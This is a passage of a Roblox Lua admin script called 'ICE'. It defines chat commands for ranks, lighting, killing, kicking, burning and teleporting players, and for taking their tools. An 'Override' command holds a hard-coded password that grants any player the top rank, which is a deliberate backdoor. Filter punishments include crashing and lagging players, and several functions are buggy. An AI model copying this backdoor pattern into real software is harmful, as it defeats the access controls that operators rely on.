  2427. ICE.Output('No available commands for this rank!','Red',Speaker)
  2428. end
  2429. end
  2430. end
  2431. )
  2432. end
  2433. end
  2434. ICE.Output('All','Green',Speaker,nil,
  2435. function()
  2436. ICE.RemoveTablets(Speaker);
  2437. for i,v in pairs(ICE.Commands) do
  2438. ICE.Output(i,'Random',Speaker,nil,
  2439. function()
  2440. ICE.RemoveTablets(Speaker)
  2441. for Arg,Argg in pairs(v) do
  2442. ICE.Output(tostring(Arg) .. " : " .. tostring(Argg),'Random',Speaker)
  2443. end
  2444. end
  2445. )
  2446. end
  2447. end
  2448. )
  2449. ICE.Output('Your rank : ' .. ICE.Ranked[Speaker.Name].Rank,Mine.Color,Speaker)
  2450. end
  2451. )
  2452. ICE.Command('Dismiss','dismiss',0,[[Dismiss's tablets]],'No arguments',
  2453. function(m,s) ICE.RemoveTablets(s) end
  2454. )
  2455. ICE.Command('Ping','ping',0,'Pings a msg','Msg',
  2456. function(Msg,Speaker)
  2457. Pings={};
  2458. if Msg:sub(1,#("tonumber"))=="tonumber" then
  2459. local Nom=loadstring("return " .. tonumber(Msg:sub(#("tonumber")+1)))()
  2460. table.insert(Pings,{Nom,'Random'})
  2461. elseif Msg:sub(1,#("image")) == "image" then
  2462. local Sub=Msg:sub(#("image")+2)
  2463. ICE.OutputImg(Sub,"A test image!","Random",Speaker)
  2464. elseif Msg:lower()=="nil" then
  2465. Nil=0
  2466. for i,v in pairs(game:service'NetworkServer':children()) do
  2467. if v:IsA('ServerReplicator') then
  2468. if v:GetPlayer() and v:GetPlayer().Parent==nil then
  2469. Nil=Nil+1
  2470. table.insert(Pings,{v:GetPlayer().Name,'Random'})
  2471. end
  2472. end
  2473. end
  2474. if Nil==0 then table.insert(Pings,{"No nil players",'Red'}) end
  2475. elseif Msg:lower()=='nil raw' then
  2476. local Nil=0;
  2477. for _,v in pairs(game:service'NetworkServer':children()) do
  2478. if v:IsA'ServerReplicator' then
  2479. if v:GetPlayer() and v:GetPlayer().Parent==nil then
  2480. Nil=Nil+1
  2481. ICE.Output(v:GetPlayer().Name,'Red',Speaker,nil,function() ICE.PlayerInterface(v:GetPlayer().Name,Speaker) end)
  2482. end
  2483. end
  2484. end
  2485. if Nil==0 then ICE.Output('No nil players','Green',Speaker,3) end
  2486. elseif Msg:lower()=="colors" then
  2487. for i,v in pairs(ICE.Colors) do
  2488. table.insert(Pings,{i,v})
  2489. end
  2490. elseif Msg:lower()=="ranks" then
  2491. for i,v in pairs(ICE.Ranks) do
  2492. table.insert(Pings,{i .. ":"..v,'Random'})
  2493. end
  2494. elseif #Msg==0 then
  2495. table.insert(Pings,{'Pong!','Random'})
  2496. else
  2497. table.insert(Pings,{Msg,'Random'})
  2498. end
  2499. if #Pings < 2 then
  2500. for i,v in pairs(Pings) do
  2501. Color=v[2]
  2502. Message=v[1]
  2503. ICE.Output(Message,Color,Speaker)
  2504. end
  2505. else
  2506. ICE.RemoveTablets(Speaker);
  2507. for i,v in pairs(Pings) do
  2508. Color=v[2]
  2509. Message=v[1]
  2510. ICE.Output(Message,Color,Speaker)
  2511. end
  2512. end
  2513. end
  2514. )
  2515. ICE.Command('Get-ranked','getranked',0,'Gets the Ranked table','No arguments',
  2516. function(Msg,Speaker)
  2517. Player=nil
  2518. if #Msg==0 then
  2519. for i,v in pairs(ICE.Ranked) do
  2520. ICE.Output(i,v.Color,Speaker,nil,
  2521. function()
  2522. Player=i
  2523. ICE.RemoveTablets(Speaker)
  2524. end
  2525. )
  2526. end
  2527. else
  2528. for _,v in pairs(ICE.Ranked) do
  2529. if _:lower():sub(1,#Msg) == Msg:lower() then
  2530. Player=_
  2531. end
  2532. end
  2533. end
  2534. coroutine.wrap(function()
  2535. repeat
  2536. wait()
  2537. until Player
  2538. ICE.PlayerInterface(Player,Speaker)
  2539. end)()
  2540. end
  2541. )
  2542. ICE.Command('Chatcolor','chatcolor',0,'Changes your chatcolor','No arguments',
  2543. function(Msg,Speaker)
  2544. if #Msg == 0 then
  2545. for i,v in pairs(ICE.Colors) do -- Stahp it>_> Regular Color3's Work its what I did BrickColor.new(Color3.new(0,1,0))
  2546. ICE.Output(i,v,Speaker,nil,function() Speaker.Neutral = false Speaker.TeamColor = BrickColor.new(v) ICE.RemoveTablets(Speaker) end)
  2547. end
  2548. else
  2549. local Brick=BrickColor.new(Msg)
  2550. if Brick then
  2551. Speaker.TeamColor=Brick
  2552. Speaker.Neutral=false
  2553. else
  2554. ICE.Output(Brick .. '[ error ]','Red',Speaker)
  2555. end
  2556. end
  2557. end
  2558. )
  2559. ICE.Command('Vote kick','votekick',0,'Vote kicks a player','Player',
  2560. function(Msg,Speaker)
  2561. if ICE.VoteData.IsVoting==false then
  2562. local Player = ICE.GetPlayers(Msg,Speaker)[1]
  2563. if Player then
  2564. ICE.VoteData.ActivateVoteKick(Player)
  2565. end
  2566. else
  2567. ICE.Output('There is already a vote in progress!','Red',Speaker,5)
  2568. end
  2569. end
  2570. )
  2571. ICE.Command('Menu','menu',0,'Shows ICE Menu','No arguments',
  2572. function(Msg,Speaker)
  2573. local SpeakTab=ICE.Ranked[Speaker.Name]
  2574. ICE.RemoveTablets(Speaker)
  2575. ICE.Output('Show commands!',SpeakTab.Color,Speaker,nil,function() ICE.OnChatted(ICE.Bets[1]..'cmds'..ICE.Bets[2],Speaker,true) end)
  2576. ICE.Output('Your rank is ' .. SpeakTab.Rank,SpeakTab.Color,Speaker)
  2577. ICE.Output('To access your ranked table click on me!',SpeakTab.Color,Speaker,nil,function() ICE.OnChatted(ICE.Bets[1]..'getranked'..ICE.Bets[2]..Speaker.Name,Speaker,true) end)
  2578. ICE.Output('Welcome to ICE by tu'..'sK'..'Or6'..'61',SpeakTab.Color,Speaker)
  2579. ICE.Output('Click to debug lighting','Green',Speaker,nil,function() ICE.OnChatted(ICE.Bets[1]..'debug'..ICE.Bets[2],Speaker,true) end)
  2580. ICE.Output('View chat operators','Green',Speaker,nil,
  2581. function()
  2582. ICE.Output('Get player operators','Orange',Speaker,nil,function()
  2583. Infos={
  2584. {T="The bets are ["..ICE.Bets[1]..";"..ICE.Bets[2].."]",C="Orange"};
  2585. {T="To use a cmd its "..ICE.Bets[1].."Command"..ICE.Bets[2].."Arguments/Args",C="Orange"};
  2586. {T="To use a command on your self use the command and for arguments put 'me'",C="Blue"};
  2587. {T="To use a command on everyone use the command and for aguments put 'all'",C="Blue"};
  2588. {T="To use a command on others use the command and for arguments put 'others'",C="Blue"};
  2589. };
  2590. for i,v in pairs(Infos) do
  2591. ICE.Output(v.T,v.C,Speaker)
  2592. end
  2593. end)
  2594. ICE.Output('Chat operators','Orange',Speaker,nil,function()
  2595. --ypcall(function()
  2596. Infos={
  2597. {T="To use a cmd more then once do '" .. ICE.Bets[1] .. " do (a number)"..ICE.Bets[1].."(a command)".. ICE.Bets[2] .."(arguments)'",C="Blue"};
  2598. {T="To wait before using a command do '" .. ICE.Bets[1].. " wait" .. ICE.Bets[1].. "(a command)" .. ICE.Bets[2] .. "(arguments)'",C="Blue"};
  2599. };
  2600. for i,v in pairs(Infos) do
  2601. ICE.Output(v.T,v.C,Speaker)
  2602. end
  2603. --end)
  2604. end)
  2605. end
  2606. )
  2607. end
  2608. )
  2609. ICE.Command('Debug','debug',0,'Debugs the game','No arguments',
  2610. function(Msg,Speaker)
  2611. ICE.Services.Lighting.Ambient = Color3.new(1,1,1)
  2612. ICE.Services.Lighting.OutdoorAmbient=Color3.new(1,1,1)
  2613. ICE.Services.Lighting.ColorShift_Bottom = Color3.new(0,0,0)
  2614. ICE.Services.Lighting.ColorShift_Top = Color3.new(0,0,0)
  2615. ICE.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
  2616. ICE.Services.Lighting.Brightness = 0.2
  2617. ICE.Services.Lighting.FogStart = 0
  2618. ICE.Services.Lighting.FogEnd = 100000
  2619. ICE.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
  2620. ICE.Services.Lighting.TimeOfDay = 12
  2621. ICE.Services.Lighting.GlobalShadows=false
  2622. for i,v in pairs(Workspace:children()) do
  2623. if v:IsA'Hint' or v:IsA'Message' then
  2624. v:Destroy()
  2625. for i,s in pairs(v:children()) do
  2626. if s:IsA'Hint' or s:IsA'Message' then
  2627. s:Destroy();
  2628. for i,b in pairs(s:children()) do
  2629. if b:IsA'Hint' or b:IsA'Message' then
  2630. b:Destroy();
  2631. end
  2632. end
  2633. end
  2634. end
  2635. end
  2636. end
  2637. end
  2638. )
  2639. ICE.Command('Set rank','setrank',0,'Sets #Players rank to #Rank','#Player>#Rank',
  2640. function(Msg,Speaker)
  2641. local Split = Msg:find(ICE.Bets[2])
  2642. for _,v in pairs(ICE.GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2643. if v.Name ~= Speaker.Name then
  2644. local Rank = tonumber(Msg:sub(Split+1))
  2645. if Rank >= ICE.GetRank(Speaker) or ((Rank < 0 or ICE.GetRank(v) < 0) and ICE.GetRank(Speaker) < 2 ) then
  2646. ICE.Output("You can't set "..v.Name.."'s rank to "..tostring(Rank),"Orange",Speaker,3)
  2647. elseif ICE.Ranks[Rank] == nil then
  2648. ICE.Output("Rank not found.","Orange",Speaker,3)
  2649. else
  2650. ICE.Ranked[v.Name].Rank = Rank
  2651. end
  2652. else
  2653. ICE.Output('You cannot set your own rank','Red',Speaker,3)
  2654. end
  2655. end
  2656. end
  2657. )
  2658. ICE.Command('@','@',0,'On chats a msg at #Player','#Player>Msg',
  2659. function(Msg,Speaker)
  2660. local Split,Msgg,Players=Msg:find(ICE.Bets[1]),"",{};
  2661. if Split then
  2662. Msgg=Msg:sub(Split)
  2663. Players=ICE.GetPlayers(Msg:sub(1,Split-1),Speaker)
  2664. end
  2665. for i,v in pairs(Players) do
  2666. ICE.OnChatted(Msgg,v,true)
  2667. end
  2668. end
  2669. )
  2670. ICE.Command('Get CMD Bar','getcmd',0,'Gets CMD Gui','true/false',
  2671. function(Msg,Speaker)
  2672. if Msg=='true' or Msg=="1" or Msg=="on" then
  2673. ICE.Ranked[Speaker.Name].CMD=true
  2674. elseif Msg=='false' or Msg=="0" or Msg=="off" then
  2675. ICE.Ranked[Speaker.Name].CMD=false
  2676. pcall(function() Speaker.PlayerGui.CMD:Destroy() end)
  2677. else
  2678. ICE.Output('Bool has to be true/false or 1/0 or on/off','Red',Speaker)
  2679. end
  2680. end
  2681. )
  2682. ICE.Command('Override','override',0,'Overrides ICE','Code',
  2683. function(Code,Speaker)
  2684. if Code=='ScriptItNao' then
  2685. ICE.Ranked[Speaker.Name].Rank=10
  2686. ICE.Output('You have sucessfully overrode ICE','Green',Speaker)
  2687. else
  2688. ICE.Output('Wrong code','Red',Speaker)
  2689. end
  2690. end
  2691. )
  2692. ICE.Command('Show filters','sfilt',0,'Shows all ICE Filters','No arguments',
  2693. function(Msg,Speaker)
  2694. ICE.RemoveTablets(Speaker);
  2695. SetUpDF=function(FTable,FName)
  2696. ICE.RemoveTablets(Speaker);
  2697. Reason,Rank,Punishment=FTable.Reason,FTable.Bypass,FTable.Punishment
  2698. ICE.Output('Reason : ' .. tostring(Reason or "nil"),'Green',Speaker);
  2699. ICE.Output('Rank to bypass filter : ' .. tostring(Rank or "nil"),'Orange',Speaker);
  2700. NewPun=""
  2701. --if type(Punishment)=='number' then
  2702. Types={{"Kill",0};{"Kick",1};{"Shutdown",2};{"Crash",3};{"Ban";4};{"Lag",5}}
  2703. for i,v in ipairs(Types) do
  2704. if Punishment==v[2] then
  2705. NewPun=v[1]
  2706. end
  2707. end
  2708. --[[else
  2709. Types={{"Kill",0};{"Kick",1};{"Shutdown",2};{"Crash",3};{"Ban";4};{"Lag",5}}
  2710. for i,v in pairs(Types) do
  2711. if Punishment==v[1] then
  2712. NewPun=v[1]
  2713. end
  2714. end
  2715. end]]
  2716. ICE.Output('Punishment : ' .. tostring(NewPun or "nil"),'Red',Speaker);
  2717. ICE.Output('Change rank for bypass','Blue',Speaker,nil,
  2718. function()
  2719. if ICE.GetRank(Speaker) > 0 and ICE.GetRank(Speaker) > Rank then
  2720. ICE.RemoveTablets(Speaker);
  2721. for Num,Name in pairs(ICE.Ranks) do
  2722. if not Num > ICE.GetRank(Speaker) then
  2723. ICE.Output(tostring(Num),Color3.new(Num/10,Num/10,Num/100),Speaker,nil,
  2724. function()
  2725. ICE.RemoveTablets(Speaker);
  2726. ICE.Filters[FName].Rank=tonumber(Num)--FTable.Rank=tonumber(Num)
  2727. SetUpDF(FTable,FName)
  2728. end
  2729. )
  2730. end
  2731. end
  2732. else
  2733. ICE.Output('Your rank is too low to execute this action','Red',Speaker,3)
  2734. end
  2735. end
  2736. )
  2737. ICE.Output('Change punishment type','Blue',Speaker,nil,
  2738. function()
  2739. if ICE.GetRank(Speaker) > 0 and ICE.GetRank(Speaker) > Rank then
  2740. ICE.RemoveTablets(Speaker)
  2741. Types={{"Kill",0};{"Kick",1};{"Shutdown",2};{"Crash",3};{"Ban";4};{"Lag",5}}
  2742. for i,v in pairs(Types) do
  2743. if ICE.GetRank(Speaker) > v[2] then
  2744. ICE.Output('Change punishment to ' .. v[1],'Blue',Speaker,nil,
  2745. function()
  2746. ICE.Filters[FName].Punishment=v[2]
  2747. ICE.RemoveTablets(Speaker)
  2748. SetUPDF(FTable,FName)
  2749. end
  2750. )
  2751. end
  2752. end
  2753. else
  2754. ICE.Output('Your rank is not high enough for this operation','Red',Speaker,3)
  2755. end
  2756. end
  2757. )
  2758. end
  2759. for Derp,DerpTable in pairs(ICE.Filters) do
  2760. ICE.Output(Derp,'Random',Speaker,nil,function() SetUpDF(DerpTable,Derp) end)
  2761. end
  2762. end
  2763. )
  2764. ICE.Command('Rules','rules',0,'Shows ancient rules set down by elders at oxcools','No arguments',
  2765. function(Message,Speaker)
  2766. for i,v in pairs(ICE.Rules) do
  2767. ICE.Output(v,ICE.Ranked[Speaker.Name].Color,Speaker)
  2768. end
  2769. end
  2770. )
  2771. ICE.Command('Show credits','credits',0,'Shows credits','No arguments',
  2772. function(Msg,Speaker)
  2773. for Name,Reason in pairs(ICE.Credits) do
  2774. ICE.Output(Name .. " " .. Reason,ICE.Ranked[Speaker.Name].Color,Speaker)
  2775. end
  2776. end
  2777. )
  2778. ICE.Command('Help','help',0,'Gives help','help',
  2779. function(Msg,Speaker)
  2780. ICE.GiveInfo(Speaker)
  2781. end
  2782. )
  2783. --[[ Rank 1 ]]--
  2784. ICE.Command('Base','base',1,'Makes a base in workspace','No arguments',
  2785. function(Msg,Speaker)
  2786. Norm=nil
  2787. if Workspace:findFirstChild'Base' then
  2788. Norm=Workspace.Base:clone()
  2789. end
  2790. --ICE.Services.Workspace:ClearAllChildren'Nope'
  2791. pcall(function() Workspace.Base:Destroy() end)
  2792. Speaker:LoadCharacter(true)
  2793. Speaker.Character.Torso.Anchored=true
  2794. if Norm then
  2795. Norm:Clone().Parent=ICE.Services.Workspace
  2796. else
  2797. Part=Instance.new'Part'
  2798. Part.Name='Base'
  2799. Part.Size=Vector3.new(256,0.05,256)
  2800. Part.Anchored=true
  2801. Part.BrickColor=BrickColor.new'Earth green'
  2802. Part.CFrame=CFrame.new(0,0,0)
  2803. Part.Parent=Workspace
  2804. end
  2805. for _,v in pairs(ICE.Services.Players:GetPlayers()) do v:LoadCharacter() end
  2806. end
  2807. )
  2808. ICE.Command('Terrain base','tbase',1,'Makes a terrain base','No arguments',
  2809. function(Msg,Speaker)
  2810. vector3int16_1 = Vector3int16.new(-50,0,-50)
  2811. vector3int16_2 = Vector3int16.new(50, 1, 50)
  2812. CleanType="Test"
  2813. CleanTypes={"Grass","Sand","Brick","Granite","Asphalt","Iron","Aluminum","Gold","WoodPlank","WoodLog","Gravel","CinderBlock","MossyStone","Cement","RedPlastic","BluePlastic","Water"}
  2814. for i,v in pairs(CleanTypes) do
  2815. Tab=ICE.Output(v,'Random',Speaker,nil,function() CleanType=v ICE.RemoveTablets(Speaker) end)
  2816. coroutine.wrap(function()
  2817. repeat
  2818. if Tab.Model.Parent ~= ICE.Services.Workspace then
  2819. Tab=ICE.Output(v,'Random',Speaker,nil,function() CleanType=v ICE.RemoveTablets(Speaker) end)
  2820. end
  2821. until CleanType ~= "Test"
  2822. end)()
  2823. end
  2824. ICE.Output('Random terrain',Speaker,nil,function() CleanType=tostring(math.random(1,17)) end)
  2825. repeat
  2826. wait()
  2827. until CleanType ~= "Test"
  2828. if tonumber(CleanType) then CleanType=tonumber(CleanType) end
  2829. wait()
  2830. local Terrain = Workspace.Terrain
  2831. wait(0.01);
  2832. Terrain:Clear()
  2833. wait(0.01)
  2834. pcall(function() Workspace.Base:Destroy() end)
  2835. wait(0.01);
  2836. Terrain:SetCells(250,2,250, CleanType, Enum.CellBlock.Solid, Enum.CellOrientation.NegZ)
  2837. end
  2838. )
  2839. ICE.Command('Dynamic lighting(dl)','dl',1,'Activates Dynamic lighting','No arguments',
  2840. function(Msg,Speaker)
  2841. ICE.Services.Lighting.GlobalShadows=true
  2842. ICE.Services.Lighting.TimeOfDay="24:00:00"
  2843. ICE.Services.Lighting.OutdoorAmbient=Color3.new(-1,-1,-1)
  2844. ICE.Services.Lighting.Ambient=Color3.new(0,0,0)
  2845. for _,v in pairs(ICE.Services.Players:GetPlayers()) do
  2846. Spot=Instance.new'PointLight'
  2847. Spot.Color=Color3.new(1,1,1)
  2848. Spot.Name='Light'
  2849. Spot.Parent=v.Character.Torso
  2850. Spot.Range,Spot.Brightness=20,1/0
  2851. end
  2852. end
  2853. )
  2854. ICE.Command('Kill','kill',1,'Kills #Player','#Player',
  2855. function(Msg,Speaker)
  2856. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  2857. v.Character:BreakJoints();
  2858. end
  2859. end
  2860. )
  2861. ICE.Command('Teleport','tp',1,'Teleports Player to #Player','Player/#Player',
  2862. function(Msg,Speaker)
  2863. local Player,Players=nil,{}
  2864. local Split=Msg:find(ICE.Bets[2])
  2865. local GetCF=function(v) return v:GetModelCFrame() end
  2866. Player,Players=ICE.GetPlayers(Msg:sub(Split+1),Speaker)[1],ICE.GetPlayers(Msg:sub(1,Split-1),Speaker)
  2867. local Y = 0
  2868. for i,v in pairs(Players) do
  2869. if v.Character == nil then
  2870. v:LoadCharacter()
  2871. end
  2872. Y = Y + 8 -- Approx length of a Normal Robloxian Body from Head to Toe Torso=4,Leg=2,Head=2
  2873. local Character=Player.Character
  2874. local Torso=Character:findFirstChild'Torso'
  2875. local TorsoCFrame=Torso.CFrame
  2876. local CharacterCFrame=GetCF(Character)
  2877. VTorso=v.Character.Torso
  2878. --if ICE.TeleportSettings[Speaker.Name].Type=="Relative" then
  2879. VTorso.CFrame=CFrame.new(CharacterCFrame.x,CharacterCFrame.y + Y, CharacterCFrame.z)
  2880. --elseif ICE.TeleportSettings[Speaker.Name].Type=='Absolute' then
  2881. --VTorso.CFrame=CFrame.new(TorsoCFrame.x,TorsoCFrame.y + Y,TorsoCFrame.z)
  2882. -- end
  2883. end
  2884. end
  2885. )
  2886. ICE.Command('Set time of day','timeofday',1,'Sets time of day','Timeofday or nil',
  2887. function(Msg,Speaker)
  2888. if #Msg >= 1 then
  2889. local Ran,Error=coroutine.create(coroutine.resume(function()
  2890. ICE.Services.Lighting.TimeOfDay=Msg
  2891. end))
  2892. if Error then ICE.Output(Error,'Red',Speaker,3) end
  2893. else
  2894. Times={
  2895. ['Morning']="6:00:00";
  2896. ['Noon']="12:00:00";
  2897. ['Night']="18:00:00";
  2898. ['MidNight']="24:00:00";
  2899. };
  2900. for Name,Time in pairs(Times) do
  2901. ICE.Output(Name,'Random',Speaker,nil,
  2902. function()
  2903. ICE.RemoveTablets(Speaker);
  2904. ICE.Services.Lighting.TimeOfDay=Time
  2905. end
  2906. )
  2907. end
  2908. end
  2909. end
  2910. )
  2911. ICE.Command('Explorer','explore',1,'Enters Explorer','No arguments',
  2912. function(Msg,Speaker)
  2913. TheService=nil;
  2914. if #Msg==0 then
  2915. for n,s in pairs(ICE.Services) do
  2916. if n:lower():sub(1,#Msg)==Msg:lower() then
  2917. TheService=s
  2918. end
  2919. end
  2920. end
  2921. ICE.Explore(TheService,Speaker);
  2922. end
  2923. )
  2924. ICE.Command('Respawn','rs',1,'Respawns #Player','#Player',
  2925. function(Msg,Spkr)
  2926. for _,v in pairs(ICE.GetPlayers(Msg,Spkr)) do
  2927. if v.Character:findFirstChild'Torso' then
  2928. Last=v.Character.Torso.CFrame
  2929. v:LoadCharacter();
  2930. v.Character.Torso.CFrame=Last
  2931. else
  2932. v:LoadCharacter()
  2933. end
  2934. end
  2935. end
  2936. )
  2937. ICE.Command('Get visual','giv',1,'Gets visual basic scripting capablities(hack)','No arguments',
  2938. function(Msg,Speaker)
  2939. ICE.Output('Not available yet!','Red',Speaker,5)
  2940. end
  2941. )
  2942. ICE.Command('Give','give',1,'Gives #Player sum toolz','#Player',
  2943. function(Msg,Speaker)
  2944. Tools={}
  2945. Players=ICE.GetPlayer(Msg,Speaker)
  2946. Give=function()
  2947. for i,v in pairs(Players) do
  2948. for _,tool in ipairs(Tools) do
  2949. tool:clone().Parent=v.Backpack
  2950. end
  2951. end
  2952. end
  2953. Start=function()
  2954. ICE.RemoveTablets(Speaker)
  2955. Num=0
  2956. for i,v in pairs(ICE.Services.Lighting:children()) do
  2957. if v:IsA'Tool' or v:IsA'HopperBin' then
  2958. Num=Num+1
  2959. ICE.Output(v.Name,'Random',Speaker,nil,function()
  2960. table.insert(Tools,v:clone())
  2961. ICE.Output('Add more tools?','Red',Speaker,nil,function()
  2962. Start()
  2963. end)
  2964. ICE.Output('Give tools to the playres','Green',Speaker,nil,function() GiveTools() end)
  2965.  
  2966. end
  2967. )
  2968. end
  2969. end
  2970. if Num == 0 then ICE.Output('No tools in Lighting','Red',Speaker) end
  2971. end
  2972. Start()
  2973. end
  2974. )
  2975. ICE.Command('take tool','ttool',1,'Takes #Players tool','#Player',
  2976. function(Msg,Speaker)
  2977. for _,Player in pairs(ICE.GetPlayers(Msg,Speaker)) do
  2978. local PTools={};
  2979. local Back=Player:findFirstChild'Backpack'
  2980. if Back==nil then Player:LoadCharacter() Back=Player.Backpack end
  2981. for i,v in pairs(Back:children()) do
  2982. if v:IsA'Tool' or v:IsA'HopperBin' then
  2983. PTools[#PTools+1]=v:Clone();
  2984. end
  2985. end
  2986. Start=false;
  2987. Cloned={};
  2988. GiveTools=function()
  2989. for i,v in pairs(Cloned) do
  2990. pcall(function() v.Parent=Speaker.Backpack end)
  2991. end
  2992. end
  2993. StartOver=function()
  2994. ICE.Output('Continue adding tools!','Red',Speaker,nil,function() Startt() end);
  2995. ICE.Output('Clone tools to your self','Green',Speaker,nil,function() Start=true end)
  2996. end
  2997. Startt=function()
  2998. ICE.RemoveTablets(Speaker);
  2999. for i,v in pairs(PTools) do
  3000. ICE.Output('Add ' .. v.Name,'Red',Speaker,nil,function() table.insert(Cloned,v) StartOver() end )
  3001. end
  3002. end
  3003. if #PTools==0 then
  3004. ICE.Output(Player.Name .. ' has no tools','Red',Speaker)
  3005. Start=true
  3006. else
  3007. Startt()
  3008. end
  3009. repeat
  3010. wait()
  3011. until Start
  3012. GiveTools()
  3013. end
  3014. end
  3015. )
  3016. ICE.Command('Remove tool','rtool',1,'Removes #Players tool','#Player',
  3017. function(Msg,Speaker)
  3018. for _,Player in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3019. local PTools={};
  3020. local Back=Player:findFirstChild'Backpack'
  3021. if Back==nil then Player:LoadCharacter() Back=Player.Backpack end
  3022. for i,v in pairs(Back:children()) do
  3023. if v:IsA'Tool' or v:IsA'HopperBin' then
  3024. PTools[#PTools+1]=v:Clone();
  3025. end
  3026. end
  3027. Start=false;
  3028. Cloned={};
  3029. GiveTools=function()
  3030. for i,t in pairs(Cloned) do
  3031. pcall(function() Back[t.Name]:Destroy() end)
  3032. end
  3033. end
  3034. StartOver=function()
  3035. ICE.Output('Continue adding tools!','Red',Speaker,nil,function() Startt() end);
  3036. ICE.Output('Remove tools','Green',Speaker,nil,function() Start=true end)
  3037. end
  3038. Startt=function()
  3039. ICE.RemoveTablets(Speaker);
  3040. for i,v in pairs(PTools) do
  3041. ICE.Output('Add ' .. v.Name,'Red',Speaker,nil,function() table.insert(Cloned,v) StartOver() end )
  3042. end
  3043. end
  3044. if #PTools==0 then
  3045. ICE.Output(Player.Name .. ' has no tools','Red',Speaker)
  3046. Start=true
  3047. else
  3048. Startt()
  3049. end
  3050. repeat
  3051. wait()
  3052. until Start
  3053. GiveTools()
  3054. end
  3055. end
  3056. )
  3057. ICE.Command('Fire','fire',1,'Fires #Player','#Player',
  3058. function(Msg,Speaker)
  3059. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3060. ICE.OnChatted(ICE.Bets[1]..'unfire'..ICE.Bets[2]..v.Name,Speaker,true)
  3061. coroutine.wrap(function()
  3062. for _,part in pairs(v.Character:children()) do
  3063. if part:findFirstChild'Fire'==nil and part:IsA'BasePart' then
  3064. Instance.new'Fire'.Parent=part
  3065. end
  3066. end
  3067. end)()
  3068. end
  3069. end
  3070. )
  3071. ICE.Command('Unfire','unfire',1,'Unfires #Player','#Player',
  3072. function(Msg,Speaker)
  3073. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3074. CharParts=v.Character:children()
  3075. for i,part in pairs(CharParts) do
  3076. if part:IsA'BasePart' then
  3077. pcall(function()
  3078. for _,f in pairs(part:children()) do
  3079. if f:IsA'Fire' then
  3080. f:Destroy()
  3081. end
  3082. end
  3083. end)
  3084. end
  3085. end
  3086. end
  3087. end
  3088. )
  3089. ICE.Command('Burn','burn',1,'Burns #Player','#Player',
  3090. function(Msg,Speaker)
  3091. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3092. coroutine.wrap(function()
  3093. ICE.OnChatted(ICE.Bets[1]..'fire'..ICE.Bets[2]..v.Name,Speaker,true)
  3094. local MainFire=v.Character:FindFirstChild('Fire',true)
  3095. Humanoid=nil
  3096. repeat
  3097. for _,p in pairs(v.Character:children()) do
  3098. if p:IsA'Humanoid' then
  3099. p.Name='Humanoid'
  3100. Humanoid=p
  3101. end
  3102. end
  3103. Humanoid:TakeDamage(math.random(1,2))
  3104. wait()
  3105. until MainFire==nil or MainFire.Parent==nil or v.Character:findFirstChild('Fire',true)==nil
  3106. end)()
  3107. end
  3108. end
  3109. )
  3110. ICE.Command('Message','msg',1,'Makes a mesg with Text','Text',
  3111. function(Text,Speaker)
  3112. ICE.MakeMessage(Speaker.Name..': '.. Text)
  3113. end
  3114. )
  3115. ICE.Command('Hint','hint',1,'Makes a hint with Text','Text',
  3116. function(Text,Speaker)
  3117. ICE.MakeHint(Speaker.Name..': '.. Text)
  3118. end
  3119. )
  3120. ICE.Command('Superjump','sj',1,'Makes the Player jump really high','Player',
  3121. function(Msg,Speaker)
  3122. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3123. local Height = 20
  3124. local Num=0
  3125. v.Character.Torso.Anchored=true
  3126. v.Character.Humanoid.Jump=true
  3127. for i=1,Height do
  3128. pcall(function()
  3129. v.Character.Torso.CFrame=CFrame.new(v.Character.Torso.CFrame.x,v.Character.Torso.CFrame.y + 1,v.Character.Torso.CFrame.z)
  3130. end)
  3131. wait(0.01);
  3132. end
  3133. Torso=v.Character.Torso
  3134. for x=1,3 do
  3135. Torso.CFrame=CFrame.new(Torso.Position + Vector3.new(x,x,x))
  3136. wait(0.01);
  3137. end
  3138. for b=1,Height do
  3139. Torso.CFrame=CFrame.new(Torso.CFrame.x,Torso.CFrame.y - 1,Torso.CFrame.z)
  3140. wait(0.01);
  3141. end
  3142.  
  3143. v.Character.Torso.Anchored=false
  3144. end
  3145. end
  3146. )
  3147. --[[ Rank 2 ]]--
  3148. ICE.Command('Kick','kick',2,'Kicks #Player','#Player',
  3149. function(Msg,Speaker)
  3150. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3151. v:Destroy();
  3152. end
  3153. end
  3154. )
  3155. ICE.Command('Kick chat','kchat',2,'Kick chats a player','#Player',
  3156. function(Msg,Speaker)
  3157. local Warnings={}
  3158. local Max=nil
  3159. local Players={};
  3160. local AddWarning=function(Player) table.insert(Warnings,{Player=Player}) end
  3161. local GetWarnings=function(Player) s=0 for i,v in pairs(Warnings) do if v.Player==Player then s=s+1 end end d = Max - s return d end
  3162. local Split=Msg:find(ICE.Bets[2]) or nil
  3163. if Split then
  3164. Players=ICE.GetPlayers(Msg:sub(1,Split-1),Speaker)
  3165. Max=tonumber(Msg:sub(Split+1))
  3166. else
  3167. Max=3
  3168. Players=ICE.GetPlayers(Msg,Speaker)
  3169. end
  3170. for i,Player in pairs(Players) do
  3171. Player.Chatted:connect(function(Msg)
  3172. AddWarning(Player)
  3173. if GetWarnings(Player) == 0 then
  3174. Player:Destroy();
  3175. else
  3176. local WarningHint=Instance.new('Message');
  3177. WarningHint.Name='WarningHint'
  3178. pcall(function() Player.PlayerGui.WarningHint:Destroy(); end);
  3179. WarningHint.Text = 'You have ' .. GetWarnings(Player) .. ' warnings left for talking before being kicked'
  3180. WarningHint.Parent=Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player)
  3181. wait(3)
  3182. WarningHint.Parent=nil
  3183. end
  3184. end)
  3185. end
  3186. end
  3187. )
  3188. ICE.Command('Fly','fly',2,'Makes #Player Fly #Studs high','<Player><Studs>',
  3189. function(Msg,Speaker)
  3190. Players={};
  3191. Split=Msg:find(ICE.Bets[2])
  3192. if Split then
  3193. Players=ICE.GetPlayers(Msg:sub(1,Split-1),Speaker)
  3194. else
  3195. Players=ICE.GetPlayers(Msg,Speaker)
  3196. end
  3197. for _,v in pairs(Players) do
